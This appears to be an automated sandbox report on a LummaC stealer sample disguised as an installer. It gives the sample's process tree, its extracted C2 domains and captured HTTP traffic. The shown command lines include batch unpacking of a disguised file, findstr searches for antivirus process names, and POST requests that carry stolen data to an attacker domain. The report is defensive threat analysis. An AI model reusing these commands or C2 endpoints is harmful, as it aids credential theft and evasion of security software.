Edit tour

Windows Analysis Report
lnst#U0430Il#U0435r86x.exe

Overview

General Information

Sample name:	lnst#U0430Il#U0435r86x.exe renamed because original name is a hash value
Original sample name:	lnstIlr86x.exe
Analysis ID:	1616305
MD5:	80366ac1383e6415790b9993205efb78
SHA1:	8a236d9587e844df67b3ed756d9e5c8753843281
SHA256:	ce2d57e8cb34eff0c7d2a11895626e216b4ee7075eaaad279faa82e6242dba9c
Tags:	AutoITexeLummaStealeruser-aachum
Infos:

Detection

LummaC Stealer

Score:	100
Range:	0 - 100
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for submitted file

Sigma detected: Search for Antivirus process

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

C2 URLs / IPs found in malware configuration

Drops PE files with a suspicious file extension

Performs DNS queries to domains with low reputation

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality for read data from the clipboard

Contains functionality to dynamically determine API calls

Contains functionality to retrieve information about pressed keystrokes

Contains functionality to shutdown / reboot the system

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Searches for user specific document files

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Classification

Process Tree

System is w10x64

lnst#U0430Il#U0435r86x.exe (PID: 7060 cmdline: "C:\Users\user\Desktop\lnst#U0430Il#U0435r86x.exe" MD5: 80366AC1383E6415790B9993205EFB78)

cmd.exe (PID: 6344 cmdline: "C:\Windows\system32\cmd.exe" /c expand Meyer.pps Meyer.pps.bat & Meyer.pps.bat MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 6364 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

expand.exe (PID: 2000 cmdline: expand Meyer.pps Meyer.pps.bat MD5: 544B0DBFF3F393BCE8BB9D815F532D51)

tasklist.exe (PID: 180 cmdline: tasklist MD5: 0A4448B31CE7F83CB7691A2657F330F1)

findstr.exe (PID: 5696 cmdline: findstr /I "opssvc wrsa" MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

tasklist.exe (PID: 3592 cmdline: tasklist MD5: 0A4448B31CE7F83CB7691A2657F330F1)

findstr.exe (PID: 736 cmdline: findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

cmd.exe (PID: 2256 cmdline: cmd /c md 670499 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

extrac32.exe (PID: 5408 cmdline: extrac32 /Y /E Notes.pps MD5: 9472AAB6390E4F1431BAA912FCFF9707)

findstr.exe (PID: 5164 cmdline: findstr /V "Postal" Warnings MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

cmd.exe (PID: 4916 cmdline: cmd /c copy /b 670499\Considering.com + Typically + Longitude + Nikon + Bumper + Tire + Nick + Tunisia + Festivals + Rabbit 670499\Considering.com MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

cmd.exe (PID: 1184 cmdline: cmd /c copy /b ..\Celebs.pps + ..\Harvest.pps + ..\Come.pps + ..\Ban.pps + ..\Spain.pps + ..\Irrigation.pps + ..\Communicate.pps J MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Considering.com (PID: 6484 cmdline: Considering.com J MD5: 62D09F076E6E0240548C2F837536A46A)

choice.exe (PID: 7152 cmdline: choice /d y /t 5 MD5: FCE0E41C87DC4ABBE976998AD26C27E4)

cleanup

Malware Configuration

Threatname: LummaC

{"C2 url": ["jookerkslxsafkr.xyz", "shiningrstars.help", "mercharena.biz", "generalmills.pro", "stormlegue.com", "blast-hubs.com", "blastikcn.com", "nestlecompany.pro"], "Build id": "2WC8gB--megalutzalut"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
0000000D.00000003.2039177399.0000000004685000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
0000000D.00000003.2038585408.0000000004631000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
0000000D.00000003.2038438512.00000000046F5000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
0000000D.00000003.2038354438.0000000004798000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
0000000D.00000003.2038714564.0000000004E39000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
0000000D.00000003.2039253834.0000000004831000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
0000000D.00000003.2038864349.0000000004798000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
Click to see the 2 entries

Sigma Signatures

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Search for Antivirus process

Source: Process started

Author: Joe Security: Data: Command: findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" , CommandLine: findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" , CommandLine|base64offset|contains: ~), Image: C:\Windows\SysWOW64\findstr.exe, NewProcessName: C:\Windows\SysWOW64\findstr.exe, OriginalFileName: C:\Windows\SysWOW64\findstr.exe, ParentCommandLine: "C:\Windows\system32\cmd.exe" /c expand Meyer.pps Meyer.pps.bat & Meyer.pps.bat, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 6344, ParentProcessName: cmd.exe, ProcessCommandLine: findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" , ProcessId: 736, ProcessName: findstr.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-16T14:31:56.565055+0100	2028371	3	Unknown Traffic	192.168.2.4	49737	149.154.167.99	443	TCP
2025-02-16T14:31:57.366183+0100	2028371	3	Unknown Traffic	192.168.2.4	49738	188.114.97.3	443	TCP
2025-02-16T14:31:58.312583+0100	2028371	3	Unknown Traffic	192.168.2.4	49739	188.114.97.3	443	TCP
2025-02-16T14:31:59.571736+0100	2028371	3	Unknown Traffic	192.168.2.4	49740	188.114.97.3	443	TCP
2025-02-16T14:32:00.934348+0100	2028371	3	Unknown Traffic	192.168.2.4	49741	188.114.97.3	443	TCP
2025-02-16T14:32:02.235872+0100	2028371	3	Unknown Traffic	192.168.2.4	49742	188.114.97.3	443	TCP
2025-02-16T14:32:03.542781+0100	2028371	3	Unknown Traffic	192.168.2.4	49743	188.114.97.3	443	TCP
2025-02-16T14:32:04.869173+0100	2028371	3	Unknown Traffic	192.168.2.4	49744	188.114.97.3	443	TCP
2025-02-16T14:32:06.981568+0100	2028371	3	Unknown Traffic	192.168.2.4	49745	188.114.97.3	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-16T14:31:57.837448+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49738	188.114.97.3	443	TCP
2025-02-16T14:31:58.813045+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49739	188.114.97.3	443	TCP
2025-02-16T14:32:07.428898+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49745	188.114.97.3	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-16T14:31:57.837448+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49738	188.114.97.3	443	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-16T14:32:01.695144+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	49741	188.114.97.3	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 0000000D.00000003.2039177399.0000000004685000.00000004.00000800.00020000.00000000.sdmp

Malware Configuration Extractor: LummaC {"C2 url": ["jookerkslxsafkr.xyz", "shiningrstars.help", "mercharena.biz", "generalmills.pro", "stormlegue.com", "blast-hubs.com", "blastikcn.com", "nestlecompany.pro"], "Build id": "2WC8gB--megalutzalut"}

Multi AV Scanner detection for submitted file

Source: lnst#U0430Il#U0435r86x.exe	Virustotal: Detection: 27%			Perma Link
Source: lnst#U0430Il#U0435r86x.exe	ReversingLabs: Detection: 29%

Sample uses string decryption to hide its real strings

Source: 0000000D.00000003.2039177399.0000000004685000.00000004.00000800.00020000.00000000.sdmp	String decryptor: jookerkslxsafkr.xyz
Source: 0000000D.00000003.2039177399.0000000004685000.00000004.00000800.00020000.00000000.sdmp	String decryptor: shiningrstars.help
Source: 0000000D.00000003.2039177399.0000000004685000.00000004.00000800.00020000.00000000.sdmp	String decryptor: mercharena.biz
Source: 0000000D.00000003.2039177399.0000000004685000.00000004.00000800.00020000.00000000.sdmp	String decryptor: generalmills.pro
Source: 0000000D.00000003.2039177399.0000000004685000.00000004.00000800.00020000.00000000.sdmp	String decryptor: stormlegue.com
Source: 0000000D.00000003.2039177399.0000000004685000.00000004.00000800.00020000.00000000.sdmp	String decryptor: blast-hubs.com
Source: 0000000D.00000003.2039177399.0000000004685000.00000004.00000800.00020000.00000000.sdmp	String decryptor: blastikcn.com
Source: 0000000D.00000003.2039177399.0000000004685000.00000004.00000800.00020000.00000000.sdmp	String decryptor: nestlecompany.pro

Source: lnst#U0430Il#U0435r86x.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49745 version: TLS 1.2

Source: lnst#U0430Il#U0435r86x.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\lnst#U0430Il#U0435r86x.exe	Code function: 0_2_00406301 FindFirstFileW,FindClose,		0_2_00406301
Source: C:\Users\user\Desktop\lnst#U0430Il#U0435r86x.exe	Code function: 0_2_00406CC7 DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,		0_2_00406CC7

Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\670499	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\670499\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49739 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49741 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49738 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49738 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49745 -> 188.114.97.3:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: jookerkslxsafkr.xyz
Source: Malware configuration extractor	URLs: shiningrstars.help
Source: Malware configuration extractor	URLs: mercharena.biz
Source: Malware configuration extractor	URLs: generalmills.pro
Source: Malware configuration extractor	URLs: stormlegue.com
Source: Malware configuration extractor	URLs: blast-hubs.com
Source: Malware configuration extractor	URLs: blastikcn.com
Source: Malware configuration extractor	URLs: nestlecompany.pro

Performs DNS queries to domains with low reputation

Source:

DNS query: jookerkslxsafkr.xyz

Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3
Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3
Source: Joe Sandbox View	IP Address: 149.154.167.99 149.154.167.99
Source: Joe Sandbox View	IP Address: 149.154.167.99 149.154.167.99

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49737 -> 149.154.167.99:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49743 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49738 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49741 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49740 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49739 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49744 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49742 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49745 -> 188.114.97.3:443

Source: global traffic	HTTP traffic detected: GET /gwwrggwarhrha HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: t.me
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: jookerkslxsafkr.xyz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 55Host: jookerkslxsafkr.xyz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=NM6YKKYKOOOXXDTJAUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 18166Host: jookerkslxsafkr.xyz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=WIFM169BJUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8739Host: jookerkslxsafkr.xyz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=OVBD3ON2F6LOGUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20416Host: jookerkslxsafkr.xyz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=3H67EDATUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 2327Host: jookerkslxsafkr.xyz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=52ABAHOI8UG4RDCGBW8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 574578Host: jookerkslxsafkr.xyz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 89Host: jookerkslxsafkr.xyz

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

HTTP traffic detected: GET /gwwrggwarhrha HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: t.me

Source: global traffic	DNS traffic detected: DNS query: TNBFkotxhoPtfkcmNcPt.TNBFkotxhoPtfkcmNcPt
Source: global traffic	DNS traffic detected: DNS query: t.me
Source: global traffic	DNS traffic detected: DNS query: jookerkslxsafkr.xyz

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: jookerkslxsafkr.xyz

Source: Considering.com, 0000000D.00000003.2043001513.0000000004F67000.00000004.00000800.00020000.00000000.sdmp, Considering.com.1.dr, Rabbit.9.dr	String found in binary or memory: http://crl.globalsign.com/ca/gstsacasha384g4.crl0
Source: Considering.com, 0000000D.00000003.2043001513.0000000004F67000.00000004.00000800.00020000.00000000.sdmp, Considering.com.1.dr, Rabbit.9.dr	String found in binary or memory: http://crl.globalsign.com/gscodesignsha2g3.crl0
Source: Considering.com, 0000000D.00000003.2043001513.0000000004F67000.00000004.00000800.00020000.00000000.sdmp, Considering.com.1.dr, Rabbit.9.dr	String found in binary or memory: http://crl.globalsign.com/root-r3.crl0G
Source: Considering.com, 0000000D.00000003.2043001513.0000000004F67000.00000004.00000800.00020000.00000000.sdmp, Considering.com.1.dr, Rabbit.9.dr	String found in binary or memory: http://crl.globalsign.com/root-r3.crl0c
Source: Considering.com, 0000000D.00000003.2043001513.0000000004F67000.00000004.00000800.00020000.00000000.sdmp, Considering.com.1.dr, Rabbit.9.dr	String found in binary or memory: http://crl.globalsign.com/root-r6.crl0G
Source: lnst#U0430Il#U0435r86x.exe	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: Considering.com, 0000000D.00000003.2043001513.0000000004F67000.00000004.00000800.00020000.00000000.sdmp, Considering.com.1.dr, Rabbit.9.dr	String found in binary or memory: http://ocsp.globalsign.com/ca/gstsacasha384g40C
Source: Considering.com, 0000000D.00000003.2043001513.0000000004F67000.00000004.00000800.00020000.00000000.sdmp, Considering.com.1.dr, Rabbit.9.dr	String found in binary or memory: http://ocsp2.globalsign.com/gscodesignsha2g30V
Source: Considering.com, 0000000D.00000003.2043001513.0000000004F67000.00000004.00000800.00020000.00000000.sdmp, Considering.com.1.dr, Rabbit.9.dr	String found in binary or memory: http://ocsp2.globalsign.com/rootr306
Source: Considering.com, 0000000D.00000003.2043001513.0000000004F67000.00000004.00000800.00020000.00000000.sdmp, Considering.com.1.dr, Rabbit.9.dr	String found in binary or memory: http://ocsp2.globalsign.com/rootr606
Source: Considering.com, 0000000D.00000003.2043001513.0000000004F67000.00000004.00000800.00020000.00000000.sdmp, Considering.com.1.dr, Rabbit.9.dr	String found in binary or memory: http://secure.globalsign.com/cacert/gscodesignsha2g3ocsp.crt08
Source: Considering.com, 0000000D.00000003.2043001513.0000000004F67000.00000004.00000800.00020000.00000000.sdmp, Considering.com.1.dr, Rabbit.9.dr	String found in binary or memory: http://secure.globalsign.com/cacert/gstsacasha384g4.crt0
Source: Considering.com, 0000000D.00000000.1711615443.00000000010B5000.00000002.00000001.01000000.00000007.sdmp, Considering.com, 0000000D.00000003.2043001513.0000000004F67000.00000004.00000800.00020000.00000000.sdmp, Festivals.9.dr, Considering.com.1.dr	String found in binary or memory: http://www.autoitscript.com/autoit3/X
Source: Considering.com, 0000000D.00000003.2077557987.0000000001628000.00000004.00000020.00020000.00000000.sdmp, Considering.com, 0000000D.00000003.2077421613.0000000004685000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: Considering.com, 0000000D.00000003.2077557987.0000000001628000.00000004.00000020.00020000.00000000.sdmp, Considering.com, 0000000D.00000003.2077421613.0000000004685000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: Considering.com, 0000000D.00000003.2077557987.0000000001628000.00000004.00000020.00020000.00000000.sdmp, Considering.com, 0000000D.00000003.2077421613.0000000004685000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: Considering.com, 0000000D.00000003.2077557987.0000000001628000.00000004.00000020.00020000.00000000.sdmp, Considering.com, 0000000D.00000003.2077421613.0000000004685000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: Considering.com, 0000000D.00000003.2077557987.0000000001628000.00000004.00000020.00020000.00000000.sdmp, Considering.com, 0000000D.00000003.2077421613.0000000004685000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: Considering.com, 0000000D.00000003.2077557987.0000000001628000.00000004.00000020.00020000.00000000.sdmp, Considering.com, 0000000D.00000003.2077421613.0000000004685000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: Considering.com, 0000000D.00000003.2077557987.0000000001628000.00000004.00000020.00020000.00000000.sdmp, Considering.com, 0000000D.00000003.2077421613.0000000004685000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: Considering.com, 0000000D.00000003.2078669009.000000000468A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.microsof
Source: Considering.com, 0000000D.00000003.2078669009.000000000468A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: Considering.com, 0000000D.00000003.2078669009.000000000468A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: Considering.com, 0000000D.00000003.2043001513.0000000004F67000.00000004.00000800.00020000.00000000.sdmp, Considering.com.1.dr, Rabbit.9.dr	String found in binary or memory: https://www.autoitscript.com/autoit3/
Source: Considering.com, 0000000D.00000003.2077557987.0000000001628000.00000004.00000020.00020000.00000000.sdmp, Considering.com, 0000000D.00000003.2077421613.0000000004685000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: Rabbit.9.dr	String found in binary or memory: https://www.globalsign.com/repository/0
Source: Considering.com, 0000000D.00000003.2077557987.0000000001628000.00000004.00000020.00020000.00000000.sdmp, Considering.com, 0000000D.00000003.2077421613.0000000004685000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown	HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49745 version: TLS 1.2

Source: C:\Users\user\Desktop\lnst#U0430Il#U0435r86x.exe

Code function: 0_2_004050F9 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_004050F9

Source: C:\Users\user\Desktop\lnst#U0430Il#U0435r86x.exe

Code function: 0_2_004044D1 GetDlgItem,GetDlgItem,IsDlgButtonChecked,GetDlgItem,GetAsyncKeyState,GetDlgItem,ShowWindow,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,

0_2_004044D1

